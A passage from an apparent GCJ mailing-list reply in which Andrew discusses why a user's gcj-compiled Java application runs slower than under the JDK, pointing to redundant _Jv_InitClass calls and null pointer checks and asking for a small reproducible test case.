tweeks (took out some awt stuff) it compiled our > application. > > Unfortunately it now runs slower :-( How much slower is it? It's possible that jdk generates near-optimal code for simple loops and that we're missing some optimization tricks. An important issue might be, as Hans said, that we're suffering from redundant calls to _Jv_InitClass and null pointer checkes. If we can get a small test case that represents your code and runs slower under gcj than jdk we might well be able to fix it. However, we need something real -- otherwise we're just speculating. Do you suppose that you could create case that we could look at? Andrew.